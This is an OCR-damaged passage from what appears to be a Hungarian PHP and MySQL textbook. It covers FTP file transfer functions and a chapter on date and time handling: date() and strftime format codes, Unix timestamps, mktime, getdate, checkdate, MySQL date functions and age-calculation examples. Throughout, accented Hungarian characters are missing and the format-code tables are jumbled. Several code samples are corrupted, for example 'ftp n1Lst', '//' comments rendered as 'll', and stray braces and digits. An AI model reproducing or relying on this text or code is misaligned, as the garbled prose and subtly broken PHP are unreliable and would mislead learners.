A fggvnynek az FTP kapcsolat erforrs-vltozjt kell tadni.

Fjlfeltlts
Ha fordtva szeremnk eljrni- vagyis a szervernkrl szeretnnk tvoli gpekre msolni fjlokat -,kt olyan fggvnyt kell hasznlni,amely lnyegben az ftp_fget () s az ftp _get () ellentte.Ez a kt fggvny az ftp_fput () s az ftp _put(). A kvetkez a prototpusuk:
int ftp_fput (int ftp_kapcsolat, int ftp_put (int ftp_kapcsolat, string tavoli fajl_eleresi_utvonala, string tavoli fajl_eleresi_utvonala, int mod) int fp, int mod)

string helyi fajl_eleresi_utvonala,

A paramterek ugyanazok,mint a _get fggvnyes megfeleliknL

Idtllps elkerlse
FTP-n keresztli fjltvitel esetn az egyik lehetsges problma a maximlis vgrehajtsi id tllpse.Tudni fogjuk, amikor ez bekvetkezik,mert a PHP hibazenetet ad. Az ilyen hiba jellemzen akkor fordul el,ha a kiszolgl lass, vagy tlterhelt hlzaton fut, vagy ha a letlteni kvnt fjl nagy mret (pldul videofjl). A maximlis vgrehajtsi id alaprtelmezett rtkt minden PHP kd szmra a php. ini fjlban hatrozhatjuk meg. Alapbl 30 msodpercre van lltva. Ennek clja az irnytsunk all kikerl kdok kezelse. Ha azonban FTP-n keresztl tovbbtunk fjlokat,s a vilg tbbi rszvel bennnket sszekt kapcsolat lass, vagy a szban forg llomny elg nagy, a fjltvitel ennl akr sokkal hosszabb ideig is eltarthat. Szerencsre a set_ time_lim i t () fggvnnyel knnyedn mdosthatjuk az adott kdra rvnyes maximlis vgrehajtsi idt. A fggvny meghvsa tlltja a kd futsra engedlyezett msodpercek szmt. A vgrehajtsi id szmolsa ebben az esetben a fggvny meghvstl kezddik. Ha pldul meghvjuk a
set_time_limit(90);

fggvnyt,a kd a fggvny meghvstl szmtott jabb 90 msodpercig futhat.

Tovbbi FTP fiiggvnyek hasznlata


Szmos ms,hasznos FTP fggvnyt is elrhetnk PHP-ben.Az ftp_size() fggvnyt tvoli kiszolgln lv fjlok mre tnek Icidertsre hasznlhatjuk. Prototpusa a kvetkez:
Lnt ftp_size(int ftp_kapcsolat, string tavoli fajl_eleresL_utvonala)

A fggvny a tvoli fjl bjtokban kifejezett mrett,illetve hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmo gatja. Az ftp_size() kivlan alkalmas egy adott fjltvitelhez szksges maximlis vgrehajtsi id kiszmtsra.A fjl mret s kapcsolatunk sebessge alapjn knnyedn megbecslhetjk, hogy mennyi ideig tarthat az tvitel, s ennek megfelel en kell a set_time_limit() fggvnyt hasznlnunk. Az albbi kddal tudjuk kiderteni s megjeleniteni egy tvoli FTP kiszolgl valamely knyvtrban lv fjlok nevt:
$listazas
=

ftp n1Lst($kapcsolat,

dirname($tavoli fajl));

foreach ($listazas as $fajl_nev) echo "$fajl_nev <br>";

Ez a kd az ftp_nlist() fggvnnyel hatrozza meg az adott knyvtrban lv fjlok nevt.

Hlzati s protokollfggvnyek hasznlata

319

A tovbbi FTP fggvnyekrl elmondhatj uk, hogy szinte minden, amit FTP parancssorbl meg tudunk tenni, az FTP fggvnyekkel is vgrehajthat. Az egyes FTP parancsoknak megfelel fggvnyeket a PHP online kziknyvben talljuk meg (http://us2.php.net/manual/ en/ ref.ftp.php)
.

A kivtel a mr korbban emltett mget (multiple get, azaz egyszerre tbb fjl letltse), de az ftp_nl ist() fggvnnyel megszerezhetjk a fjlok listjt, majd letlthetjk a szksges llomnyokat.

Tovbbi olvasnival
A fejezetben elssorban az alapokat tekintettk t, de az interneten szmtalan tovbbi anyagot tallunk az itt trgyalt tmkban. Az egyes protokollokrl s mkdskrl a http:/ /www.rfc-editor.org/ oldalon elrhet RFC-ket rdemes tanulmnyozni. A World Wide Web Consortium protokollokkal kapcsolatos informciit is rdekesnek tallhatjuk, ezeker a http://www. w3.org/Protocols/ cmen rjk el. A TCP/IP protokollrl szmos knyvben kimert lerst tallunk, pldakppen elg megemlteni Andrew Tanenbaum Computer Networks (Szmitgpes hlzatok) cm munkjt.

20

Hogyan tovbb
Immr kszen llunk arra, hogy megvizsgljuk a PHP dtum- s naptrfggvnyeit tartalmaz knyvtrakat. A kvetkez fejezetbl azt is megtudhatj uk, hogyan alakithatjuk a felhasznlk ltal bert formtumokat PHP s MySQL formtumokk, majd vissza az eredeti formtumra.

21
Dtum s id kezelse
E fejezerbl megtudhatj uk, hogyan ellenrizherjk s formzharjuk a drumor s idr, illetve hogyan vltharunk a klnbz drumformrumok kztt. Ezek a lehetsgek akkor lesznek klnsen hasznosak, amikor MySQL s PHP, illetve Unix s PHP drumformrumok, valamint a felhasznlk ltal HTML rlapon bevitt drumok formrumai kztt kell vltanunk. A fejezerben az albbi fbb tmakrkkel foglalkozunk: Drum s id megllaprsa PHP-bl Vlrs PHP s MySQL drumformrumok kztt Drumok kiszmrsa Naprrfggvnyek hasznlara

Dtum s id megllaptsa PHP,bl


J rgen, mg a PHP gyorstalpal cm l. fejezerben murattuk be, hogyan lehet a da te {) fggvnnyel a drumor s idr PHP bl megllaptani, illetve formzni. Ebben a fejezerben az orr lerraknl rszleresebben is megvizsgljuk ezt, valamint a PHP tovbbi drum- s idkezel fggvnyeir.

A da t e

( ) fggvny hasznlata

Emlkezhernk r, hogy a date { ) fggvny kr paramtert fogad, amelyek kzl az egyik opcionlis. Az els a formrum szrring, a msodik- az opcionlis - pedig egy Unix idblyeg. Ha nem hatrozzuk meg az idblyeger, a date {) alaprtelme zsben az akrulis drumor s idr hasznlja. A fggvny a megfelel drumor jelkpez, formzott karakterlncot adja vissza. A date {) fggvny tipikus meghvsa a kvetkezkppen nz ki:

ech o date

(jS

Y') ;

Ez a 30th March 2010 formrumban adja vissza a drumor. A fggvny ltal elfogadott formrumkdok lisrjr a 21.1 tblzat tartalmazza. 21.1 tblzat: A PHP da te {)

fggvnynekformtumkdjai
vagy pm. jell.

Kd a A B c

Lers
Dleltt vagy dlutn, amir kr kisbets karakter, az am. Dleltt vagy dlutn, amir kr nagybers karakter, az AM vagy PM jell. Swarch inrernetid, univerzlis idrendszer. Tovbbi informci: http://

www.swarch.com/.

ISO 8601-es szabvny szerinri drum. A drumor -HH-NN formrumban jelenti meg. Nagy

T ber vlasztja el a drumor s az idr. Az idr :PP:MM formrumban murarja. Az idznt


a greenwichi idrl (GMT ) szmrott eltrs murarja. Pldul 200 8-0 6-2 6T 21: 04: 4 2-1: 00. (Ez a formrumkd a PHP5-ben lett elszr elrhet.)

d D
e

A hnap napja kr szmjeggyel, helykirlt nullval. A tartomny Ol-rl 31-ig rarr. A hr napja hromkarakreres, rvidirett szveges formrumban (a napok angol neve alapjn). A tarto mny Mon-rl Sun-ig rarr. Idzna-azonosr (a PHP 5.1.0-s verzijrl rhet el). A hnap reljes szveg formban (angolul). A tartomny January-rl December-ig tart. Az ra 12 rs formrumban, helykirlt nullk nlkl. A rarromny l-rll2-ig rarr.

F g

322

21. fejezet

Kd G h H i I

Lers Az ra 24 rs formtumban, helykitlt nullk nlkl. A tartomny O-tl 2 3-ig tart. Az ra 12 rs formtumban, helykitlt nullkkaL A tartomny O l-tl 12 -ig tart. Az ra 24 rs formtumban, helykirlt nullkkaL A tartomny O O-tl 2 3-ig tart. Az egsz ra ta eltelt percek, helykitlt nullkkaL A tartomny O O-tl 5 9-ig tart. Nyri idszmts Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben van nyri idszmts, s O-t, ha nincs. A hnap napja helykitlt nullk nlkl. A tartomny l-tl 31-ig tart.

l L m M

A ht napja teljes szveg formban (angolul). A tartomny Sunday-tl Saturday-ig tart. Szkv Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben az adott dtum szk vben van, s O-t, ha nem. A hnap kt szmjeggyel, helykirlt nullkkaL A tartomny O l-tl 12 -ig tart. A hnap hromkarakteres, rvidtett szveges formtumban. A tartomny Jan-tl Dec-ig tart. A hnap szmknt, helykitlt nullk nlkl. A tartomny 1-tl 12-ig tart. IS0-8601-es szabvny szerinti vszm. rtke ugyanaz, mint az Y formtumkdnak, kivve, ha a hr ISO szabvny szerinti sorszma

21
..1

n o

(W) az elz vagy a kvetkez vhez tartozik, mert akkor azt az vet

hasznlja helyette (a PHP 5.1.0-s verzijtl rhet el). o


r

Az aktulis idzna s a GMT kztti klnbsg rban-pldul+ 16 O O. RFC822 szerint formzott dtum s id, pldul Tu e, (A formtum a PHP 4.0.4-s verzijban jelent meg.) 30 Mar 2010 18: 45: 30-0100.

Az egsz perc ta eltelt msod percek, helykirlt nullkkaL A tartomny O O-tl 5 9-ig tart. A dtumokban lv sorszmnv kpzje ktkarakteres formtumban (angolul). A szmtl fggen lehet st, nd, rd vagy th. A dtumhoz tartoz hnapban lv naptri napok szma. A tartomny 2 8-tl 31-ig tart. A kiszolgl idznja hromkarakteres formtumban- pldul CET. Az l 970. janur l-tl az aktulis idpontig eltelt msodpercek szma; ezt nevezik a dtum Unix idb lyegnek. A ht napja egy szmjeggyel. A tartomny O-tl (vasrnap) 6-ig (szombat) tart. A ht sorszma az vben az IS0-8601-es szabvny szerint. (A formtumkd a PHP 4.1.0-s verzij ban jelent meg.) Az v ktszmjegy formtumban- pldul l O. Az v ngyszmjegy formtumban-pldul 2 O l O. Az v napja szmknt. A tartomny 0-tl 365-ig tart. Az aktulis idznnak a GMT-rl msodpercben mrt eltrse. A tartomny -4 3200-tl 4 3200-ig tart.

s t T u

w y y
z

Unix idblyegek kezelse


A da te ( ) fggvny msodik paramtere egy Unix idblyeg. Ha esetleg nem tudnnk, hogy ez pontosan mit jelent: a legtbb Unix rendszer 32 bites egsz szmknt trolja a pontos idt s dtumot. Ez az egsz szm a greenwichi id szerinti 1970. janu r 1., jfl ra eltelt, msodpercekben szmtott idt murarja. (Szoks ezt az idpontot Unix epochnak is nevezni.) Elsre kicsir taln klnlegesnek rnhet ez a megkzelts, de egyrszt ez egyszeren egy szabvny, msrszt az egsz szmokkal a szmt gpek knnyen elboldogulnak. A Unix idblyegek kompakt mdszert Icinlnak a dtum s id trolsra. Ennek ellenre nem szenvednek a 2000-es v problmjtl (Y2K), amely bizony ms kompakt s rvidtett dtumformtumoknak gondor okoznak. Hasonl problmval ugyanakkor ez a formtum is knytelen szembenzni, mivel a 32 bites egsz szm hasznlata korltozott idtartam kezelst teszi csak lehetv. Amennyiben szoftvernkben 1902 eltti vagy 2038 utni idpontokkal is foglalkoznunk kell, akkor bizony bajban lesznk. Egyes rendszereken, gy Windowsen is mg szkebb ez a tartomny. Az idblyeg nem lehet negatv, gy 1970 eltti idb lyegek nem hasznlhatk. Kdunk platformfggetlensge rdekben nem szabad megfeledkezni ezekrl a korltokrL Amiatt minden bizonnyal nem kell aggdni, hogy szoftvernket mg 2038-ban is hasznlni fogjk. Az idblyegeknek nin csen rgztert mrete; a C nyelv integer tpusnak mrethez vannak ktve, ami legalbb 32 bit. Amennyiben szoftvernk mg 2038-ban is hasznlatban lesz, igen valszn, hogy rendszernk akkorra nagyobb tpust fog hasznlni.

Dtum s id kezelse

323

Annak ellenre, hogy ez a formtum unixos szabvny, a date() s egyes ms PHP fuggvnyek akkor is ezt hasznljk, ha
a PHP-t Windows

alatt futtatjuk. Az egyeden klnbsg ebben az esetben az, hogy a Windows alatt az idblyeg nem lehet negatv.

Ha dtumot s idt szeretnnk Unix idblyegg alaktani, az mktime() fuggvnyt kell hasznlni. Prototpusa a kvetkez:
int mktime ([int ora[, int perc[, int masodperc[, int hnap[, int nap[, int ev

[,

int nyari_idoszamitas]]]]]]])

A paramterek- taln az utols, a nyari_idoszami tas kivtelvel- elgg magtl rtetdek. A nyar i_
idoszarni tas paramter azt jelzi, hogy a dtum a nyri idszmtsba esik-e. Amennyiben igen, akkor l-re, ha nem, akkor

O-ra kell lltani a paramtert. Amennyiben nem tudjuk, akkor az alaprtelmezett rtket, a -l-et rdemes hasznlni.Ebben
az

esetben a PHP megprblja azon rendszer alapjn, amin fut, kitallni, hogy vajon hasznlnak-e nyri idszmitst. Mivel Az egyeden csapda, amit a fggvny kapcsn el kell kerlnnk, hogy a paramcerei nem tlzottan sztns sorrendben he

a paramter opcionlis, gy is, gy is ritkn fogjuk hasznlni. lyezkednek el. A sorrend nem teszi lehetv, hogy kihagyjuk az idt. Ha az id egyltaln nem rdekel bennnket, rjunk O-t
az ra, perc

s msodperc paramterhez. A paramterlista jobb oldalrl ugyanakkor elhagyhatjuk az rtkeket. Ha nem


mktime();

adjuk meg ezeket, az aktulis rtkre lesznek lltva. gy az albbi fuggvnyhvs


$idobelyeg
=

a pontos (pillanatnyi)

dtum s id Unix idblyegt adja vissza. Ugyanezt az eredmnyt kapnnk a kvetkez fuggvny meg

21

hvsval is:
$idobelyeg = time();

A time () fuggvny egyeden paramtert sem fogad, s mindig a pontos dtum s id Unix blyegkpt adja vissza. Egy msik lehetsg a korbban mr bemutatott date () fuggvny. Az utasts az elz kettvel egyenrtk:
$idobelyeg = date
"u"

formtumszering idblyeget vr. A kvetkez

('U") ;

Az mktime( ) fuggvnynek kt vagy ngy szrnjeggyel is megadhatjuk az vet. A O s 69 kztti ktszmjegy rtkek
a

2000 s 2069 kztti veket, a 70 s 99 kztti rtkek pedig az 1970 s 1999 kztti veket jelkpezik. Nzznk nhny tovbbi pldt az mktime ()hasznlatt szemlltetend! Az
0);

$ido = mktime(l2, O,

utasts a mai nap dli idpontjt adja. Az


$ido = mktime(O,O,O,l,l);

pedig a foly v janur elsejt adja vissza. Figyeljk meg, hogy az ra paramter esetben a O-val (s nem a 24-gyel) jelljk az jflt! Az mktime() fuggvnyt dtumokkal kapcsolatos, egyszer szmtsokra is hasznlhatjuk. Pldul az
$ido = mktime(l2,0,0,$honap,$nap+30,$ev);

30 napot ad a komponensek ltal meghatrozott dtumhoz (mg akkor is, ha a $nap+ 30 ltalban nagyobb, rnint az adott hnapban lv napok szma). A nyri idszmtssal kapcsolatos problmk elkerlse rdekben hasznljunk a O ra helyett a 12 rt! Ha az jflhez (24

60 60)-at adunk egy 25 rs napon, akkor ugyanazon a napon maradunk. Ha dlhez adjuk hozz ugyanezt a szmot, akkor

eredmnyl l lam-et kapunk, de legalbb a megfelel napon lesznk.

A getda te ( ) fggvny hasznlata


Egy msik hasznos, dtummeghatroz fuggvny a getdate ().Ennek prototpusa a kvetkez:
array getdate ([int idobelyeg])

A fuggvny egyeden opcionlis paramtert, egy idblyeget fogad, s olyan tmbt ad vissza, amelynek elemei a dtum s az id klnbz rszeit jelkpezik (lsd 21.2 tblzat!). 21.2 tblzat: A getdate Kulcs
seconds minutes hours mday wday

()fggvny ltal visszaadott tmb kulcs-rtk prjai

rtk
Msodperc, numerikus Perc, numerikus ra, numerikus A hnap napja, numerikus A ht napja, numerikus

324

21 . fejezet

Kulcs
mon year yday weekday month o

rtk Hnap, numerikus v, numerikus Az v napja, numerikus A ht napja, teljes szveges formtum Hnap, teljes szveges formtum Idblyeg, numerikus

Ha mindezeket fogja adni.

az elemeket egy tmbben tudjuk, knnyen a kvnt formtumba rendezhetjk ket. A tmb O

eleme

(az

idblyeg) feleslegesnek tnhet, de ha paramter nlkl hvjuk meg a get date () fggvnyt, az elem az aktulis idblyeget A getdate () fggvnyt hasznl kvetkez kd
<?php

21

$ma = getdate(); print r($ma); ?>

az albbi kimenethez hasonlt fog eredmnyezni:


Array ( [seconds] [minutes] [hours] [mday] [wday] [mon] [year] [yday] => 45 => 6

=> 20 => 14 => 3

=> 3 => 2007 => 72 => Wednesday

[weekday] [month] [0] )

=> March

=> 1173917205

Dtumokellenrzse a checkdate ( ) fiiggvnnyel


A checkdate () fggvnnyel a dtumok rvnyessgt ellenrizhetjk. Ez a lehetsg akkor lesz igazn hasznos szmunkra, arnikor a felhasznlk ltal megadort dtumok megfelelsgrl kell meggyzdnnk. A checkdate () fggvny prototpusa a kvetkez:
int checkdate (int honap, int nap, int ev)

A fggvny ellenrzi, hogy Pldul a


checkdate(2, 29,

az ev

O s 32,767 kztti, rvnyes egsz szm, a honap l s 12 kztti egsz szm, illerve

a nap ltezik-e az adott hnapban. A fggvny a szkveket is figyelembe veszi az rvnyessg megllaptshoz.
2008)

fggvny visszatrsi rtke true, viszont a


checkdate(2, 29, 2007)

fggvny false lesz (rnivel2007 nem szkv, gy nem volt benne februr 29.).

Idblyegekformzsa
Az strftime ( ) fggvnnyel a rendszer (a webszerver) helyi belltsainak megfelelen formzhatjuk A fggvny prototpusa a kvetkez:
string strftime ( string $formatum [, int $idbelyeg] )

az idblyegeket.

A $formatum paramter az idblyeg megjelenst meghatroz formtumkd. Az $idobe ly eg paramter rtelemsze ren a fggvnynek tadon idblyeg. Ez a paramter opcionlis, gy amennyiben egyltaln nem adunk idblyeget, a fgg vny a helyi rendszer idblyegt (annak a kd futsa idejn rvnyes rtkr) fogja hasznlni. A kvetkez kd pldul

Dtum s id kezelse

325

<?php echo echo echo echo ?> strftime('%A<br strftime('%x<br strftime('%c<br strftime('%Y<br />'); />'); />'); />');

ngy klnbz formtumban jelenti meg a rendszer adott pillanatban vett idblyegt. A kd a kvetkezhz hasonl kime netet eredmnyez: Tuesday 03/16/10 03/16/10 21:17:24 2010 Az strftime () formtumkdjainak teljes listja a 21.3 tblzatban tallhat. 21.3 tblzat: A strftime Kd
%a %A %b %B %c %C %d %D %e %g %G %H %I %j %m %M %n %p %r %R %S %t %T %u %U %V %w %W %x %X %y %Y %z

(>fggvnyformtumkdjai

21

Lers A ht napja(rvidtve) A ht napja Hnap(rvidtve) Hnap Dtum s id szabvnyos formtumban Szzad A hnap napja(Ol-tl 31-ig) A dtum rvidtett formtumban(hh/ nn/ ) A hnap napja ktkarakteres sztringknt( ' l ' -tl ' 31 ' -ig) Az v a ht sorszma alapjn, kt szmjeggyel Az v a ht sorszma alapjn, ngy szmjeggyel ra(0 0-tl 23-ig) ra(l-tl 12-ig) Az v napja(00 l-tl 3 6 6-ig) Hnap(Ol-tl l2-ig) Percek(OO-tl 5 9 -ig) j sor (\n) am vagy pm (vagy helyi megfelelje) Az id a.m./ p.m. jellssei Az id 24 rs formtumban Msodpercek (0 0-tl 59-ig) Tabultor(\ t) Az id : pp : mm formtumban A ht napja(l-tl 7 -ig, htftl vasrnapig) A ht sorszma(az v els vasrnapja az els ht kezdnapja) A ht sorszma(az v els hete
az

vagy %h

a ht, amelyben legalbb ngy nap mr az adott vbe esik) els ht kezdnapja)

A ht napja(O-tl 6-ig, vasrnaptl szombatig) A ht sorszma(az v els htfje


az

Dtum szabvnyos formtumban(id nlkl) Id szabvnyos formtumban(dtum nlkl) v(kt szmjeggyel) v(ngy szmjeggyel) Idzna

vagy %Z

326

21. fejezet

A 21.3 tblzatban emltett szabvnyos formtum azt jelenti, hogy a formtumkd helyt a webszerver helyi bellrsainak megfelel rtk veszi t. Az strftime () fggvny kivlan alkalmas arra, hogy a dtumot s az idt az oldalainkat felhaszn lbartt tev formtumokban jelentsk meg.

Vlts PHP s

MySQL dtumformtumok kztt

21

A MySQL az ISO 8601-es szabvnynak megfelel formtumban kezeli a dtumot s idt. Az id kezelse viszonylag egyr telm, azonban az emltett szabvnynak megfelel dtumokban az v kerl elre. (Neknk, magyaroknak ez termszetes, an golszsz terleren lknek azonban szokaclan.) Pldul a 2008. mrcius 29-t (ami angolul March 29, 2008) 2008-03-29 vagy 08-03-29 formban kell rni. Alaprtelmezsben a MySQL-bl kinyert dtumok is ebben a formban rhetk el. Oldalunk vagy alkalmazsunk clkznsgrl fggen elkpzelhet, hogy ez nem lesz megfelel szmunkra. A PHP s a MySQL kztti kommunikci rdekben ltalban valamilyen mdon t kell alakitani a dtumot. Ezt a feladatot mindkt alkalmazsban elvgezhetjk. Amikor PHP-bl visznk MySQL-be dtumokat, a korbban mr ltott da te () fggvnnyel egyszeren a megfelel formtumra alakithatjuk azokat. Egy apr figyelmeztets: amikor sajt kdunkbl lltjuk el a dtu mot, a MySQL sszezavarst elkerlend a napot s a hnapot helykirlt nullkkal kell trolni. Hasznlhatunk kt szm jeggye! jellt vet, de rdemes inkbb mind a ngy szmjegyet kirni. Amennyiben MySQL-ben kivnjuk talakitani a dtumot vagy idt, kt hasznos fggvny ll ehhez rendelkezsnkre: a DATE_ FORMA T () s a UNIX_ TIMESTAMP (). A DATE_ FORMAT () fggvny a PHP-beli fggvnyhez hasonlan mkdik, m ms formtumkdokat hasznl. Az egyik leggyakoribb feladat, amit e fggvnnyel vgre fogunk hajtani, a MySQL ltal hasznlt ISO formtum dtumnak ( HH -NN) az angolszsz terleten elterjedt formtumra (HH-NN-) alakitsa. Az albbi lekrdezssei tehetjk meg ezt:
SELECT DATE FORMAT(datum_oszlop, '%m %d %Y') FROM tablanev;

A %m formtumkd kt szmjeggyel rja a hnapot, a %d ugyanezt teszi a nappal, az %Y pedig ngy szmjeggyel jelenti meg az vet. A 21.4 tblzatban a gyakrabban hasznlt MySQL formtumkdokat lthatjuk. 21.4 tblzat: A MySQL DATE_ FORMAT () fggvnynek formtumkdjai
Kd
%M %W %D %Y %y %a %d %e %m %c %b %j %H %k %h %1 %i %r %T %S %p %w

Lers

Hnap teljes szveggel A ht napja teljes szveggel A hnap napja szmmal, sorszmraggal (angol nyelvnek megfelelen, pldul 1st) v szmmal, ngy szmjeggyel v szmmal, kt szmjeggyel A ht napja hrom karakterrel A hnap napja szmmal, helykirlt nullkkal A hnap napja szmmal, helykitlt nullk nlkl Hnap szmmal, helykitlt nullkkal Hnap szmmal, helykitlt nullk nlkl Hnap szveggel, hrom karakter Az v napja szmmal ra, 24 rs formtum, helykitlt nullkkal ra, 24 rs formtum, helykirlt nullk nlkl vagy %I ra, 12 rs formtum, helykitlt nullkkal ra, 12 rs formtum, helykirlt nullk nlkl Perc szmmal, helykitlt nullkkal Id, 12 rs formtum (:pp:mm [AMjPM]) Id, 24 rs formtum (:pp:mm) vagy %s Msodperc szmmal, helykitlt nullkkal AM vagy PM A ht napja szmmal, O-tl (vasrnap) 6-ig (szombat)

Dtum s id kezelse

327

A UNIX_TIMESTAMP fggvny hasonlan mkdik, m Unix idblyegg alaka a neki radort oszlopot. Az albbi lekrdezs
SELECT UNIX_TIMESTAMP(datum_oszlop)
FROM tablanev;

pldul Unix idblyegknt formzva adja vissza a dtumot. Ezt kveten azt tehetnk vele PHP-ben, amit csak szeretnnk. A Unix idblyeg lehetv teszi, hogy egyszeren szmoljunk a dtumokkal, vagy sszehasonltsuk ket. Ne feledjk azon ban, hogy az idblyeg ltalban csak 1902 s 203 8 kztti dtumokat jelkpezhet, a MySQL adattpusa viszont sokkal szle sebb tartomnnyal rendelkezik! ltalnossgban az albbi szablyt kell kvetni: a Unix idblyeggel dtumokkal kapcsolatos szmtsokat vgezznk, a szabvnyos dtumformtumot pedig dtumok trolsra s megjelentsre hasznljuk!

Szmols dtumokkal PHPben


gy lehet PHP-ben egyszeren kiszmtani kt tetszleges dtum kzrti idtartamot, ha a Unix idblyegek kztti klnb sggel szmolunk. Ezt a mdszert kvetjk a 21.1 pldakdban is. 21.1 pldakd: eletkor _kis z amitas. php-letkor kisz<imt<isa szletsi d<itum alapj<in
<?php

21

ll szletsnap meghatrozsa
$nap =

18; 9; 1972;
hogy a szletsnapot nap, hnap s v $ev); formban kell megadni'

$honap = $ev
=

ll ne feledjk,
$sznapunix
=

mktime

(0,

O,

O,

$honap,

$nap,

ll sznap idblyege

$mostunix = time();

ll a mai nap idblyege


- $sznapunix;

$eletkorunix = $mostunix $eletkor


=

ll klnbsg kiszmtsa * 60 * 60)); ll msodperc vekk alaktsa

floor($eletkorunix

(365 * 24

echo ?>

"Az letkor:

$eletkor";

A kd belltja az letkor kiszmtshoz hasznland szletsnapot. Valdi alkalmazs esetn ez az adat mnden bizonnyal HTML rlapbl rkezne. A kd a mktime () fggvny meghvsval indul, hogy kiszmoljuk a szletsnaphoz s az aktulis dtumhoz tartoz idblyeget:
$sznapunix
=

mktime

(0,

O,

O,

$honap,

$nap,

$ev);

ll sznap idblyege

$mostunix = time();

ll a mai nap idblyege


$sznapunix;

Miutn a kt dtumot ugyanazon formtumra hoztuk, egyszeren kivonhatjuk ket egymsbl:


$eletkorunix
=

$mostunix

Most jn a kiss trkks rsz: ennek az idtartamnak a visszaalaktsa az emberek ltal jobban kezelbec mrtkegysgre. Ez irt most nem idblyeg. hanem az adott szemly msodpercekben mrt letkora. gy alakthauk vissza vekre, ha eloszt juk az egy vben lv msodpercek szmval. Az gy kapott szmot a floor () fggvnnyel lefele kerekk, mert egy ember csak akkor lesz pldul 20 ves, amikor betlti a 20. letvt:
$eletkor
=

floor($eletkorunix

(365 * 24 * 60 * 60)); ll msodperc vekk alaktsa

Jegyezzk meg. hogy ez a megolds nem teljesen tkletes, mert a Unix idblyegek (ltalban 32 bites egsz szmok) tar tomnya korltozza a mkdst. A szletsnapokkal val szmols nem a legjobb plda az idblyegek hasznlatra. A plda csak az 1970 utn szletertek esetben mkdik nnden opercis rendszeren, hiszen pldul a Windows nem kpes kezelni
az

1970 eltti idblyegeket. Mg az ezt kveten szletett emberek esetn sem lesz felttlenl pontos a szmts, mert a kd

nem veszi figyelembe a szkveket, illetve akkor is tvedhet, ha a helyi idznban jflkor trtnik a nyri s tli idszmts kzrti vlts.

328

21. fejezet

Szmols dtumokkal MySQLben


A PHP nem tl sok beptett dtumkezel fggvnnyel rendelkezik. Termszetesen megrhatjuk sajt fggvnyeinket, de nem egyszer feladat a szkvek s a nyri idszmts pontos figyelembe vtele. Arra is lehetsgnk van, hogy msok ltal rt fggvnyeket tltsnk le. A PHP online kziknyvben szmtalan, a felhasznlk ltal hozzadott megjegyzst tallunk, de ezek kzl kevs megfelelen vgiggondolt.

Megjegyzs: A PHP 5.3-as verzijhoz tbb olyanfggvnyt hozzadtak, amely a dtumokkal val szmolst knnyti meg.
flyen egyebek kztt a date_add(), a date_sub() s a date_diff(). Ezek a dtumkezel fggvnyekfeleslegess te szik a MySQL hasznlatt a korbban PHP-ben elrhetetlen dtumkezelsi feladatok egyszer vgrehajtshoz.

Egy tovbbi, elsre taln nem nyilvnval lehetsg a MySQL hasznlata. A MySQL a Unix idblyegek megbzhat tarto mnyn kivli dtumok esetn is kivlan hasznlhat dtumkezel fggvnyek szles vlasztkt knlja. MySQL lekrdezs limatshoz MySQL kiszolglhoz kell csatlakozni, de nem szksges adatbzisadatokat hasznlnunk ehhez a feladathoz. A kvetkez lekrdezs egy napot ad az 1700. februr 28-ai dtumhoz, s az gy kapott dtumot adja vissza:

21

select adddate (1700-02-28',

interval l

day)

Az 1700. v nem szkv, gy az eredmny 1700-03-01 lesz. A MySQL kziknyvben rfog lerst tallunk a dtum s id MySQL-beli kezelsrl s mdostsrl (http://www. mysql.com/doc/en/Date_and_time_functions.hrml). Sajnos itt sincsen egyszer mdszer a kt dtum kztti vek szmnak megllaptsra, gy a szletsnapos plda MySQL ben is sntt egy kicsit. A napokban kifejezett letkort knnyedn kiszmthatjuk ugyan, m esetenknt a 21.2 pldakd is pontatlanul alaktja t vekre ezt az letkort.
21.2 pldakd: mysql_eletkor_kiszamitas. php -letkor kiszmtsa szletsi dtum alapjn MySQL-lel
<?php

ll szletsnap meghatrozsa
$nap
=

18;
=

$honap $ev
=

9;

1972;

ll szletsnap alaktsa ISO 8601 szerinti dtumm


$sznapiSO
=

date("c",

mktime (0,

O,

O,

$honap,

$nap,

$ev));

ll a napokban kifejezett letkor kiszmtsa mysql lekrdezssei


$adatbazis $eredmeny $eletkor
= = =

mysqli_connect( 'localhost', mysqli_query($adatbazis,

'felhasznala',

'jelszo') ; '$sznapiSO') ") ;

"select datediff(now(),

mysqli_fetch_array($eredmeny);

ll a napokban kifejezett letkor alaktsa vekre (krlbell)


echo "Az letkor " .floor($eletkor[0]/365 .25); ?>

A szletsnap ISO idblyegg formzsa utn a kvetkez lekrdezst adjuk t a MySQL-nek:


select datediff(now(), '1972-09-18T00:00:00+10:00')

A now()MySQL fggvny minden esetben az aznapi dtumot s pontos idt a<lja vissza. A MySQL 4.1.1 verzijtl elr het datediff () fggvny a kt dtum kztti, napokban kifejezett klnbsget adja vissza. rdemes megjegyezni, hogy a kdban nem jelljk ki valamely tbla adatait, st, mg a kd ltal hasznland adatbzist sem vlasztjuk ki, de a szmtsokhoz rvnyes felhasznli nvvel s jelszval be kell jelentkeznnk a MySQL kiszolglra. Mivel kifejezetten a pldban ltott szmrsra nem ltezik beptett fggvny, az vek pontos szmnak Iciszmolsra egy viszonylag sszetett SQL lekrdezst kell hasznlnunk. A pldban kiss leegyszerstettk a dolgokat, mert a napokban kife jezett letkort 365,25-tel osztva szmoltuk ki az veket. Ha az adott szemly szletsnapjn hasznljuk ezt a szmtst, akkor
akr egy vet is tvedhetnk attl fggen, hogy hny szkvet lt mr meg a delikvens.

Dtum s id kezelse

329

Mikroszekundumok hasznlata
Egyes alkalmazsokhoz nem elegenden pontos az id msodpercekben val mrse. Ha nagyon rvid idszakokat, pldul a PHP kdunk egy rsznek vagy egsznek futtatshoz szksges idtartamor kvnjuk mrni, amicrotime () fiiggvnyt kell hasznlnunk. A PHP 5-s verzijban a true rtket t kell adnunk amicrotime () fiiggvnynek. Amikor ezt az opcionlis param tert tadjuk, amicrotime () lebegpontos rtkknt adja vissza az idt, ami kszen ll arra, hogy a neknk tetsz clra fel hasznljuk. Az rtk megegyezik a mkt ime() , t ime () s dat e () fiiggvny ltal visszaadottal, de trtrsze is van. Az

echo number_format(microtime(true), 10, '. ',

'');

utasts a kvetkezhz hasonl lmenetet produkl: ll 7 4 O 91854 . 84. A rgebbi verzikban nem krhettk az eredmnyt lebegpontos szmknt, a fiiggvny minden esetben szeringknt adta vissza. Amicrotime () paramter nlkli meghvsa esetn a kvetkezhz hasonl karakterlncot kapunk vissza:

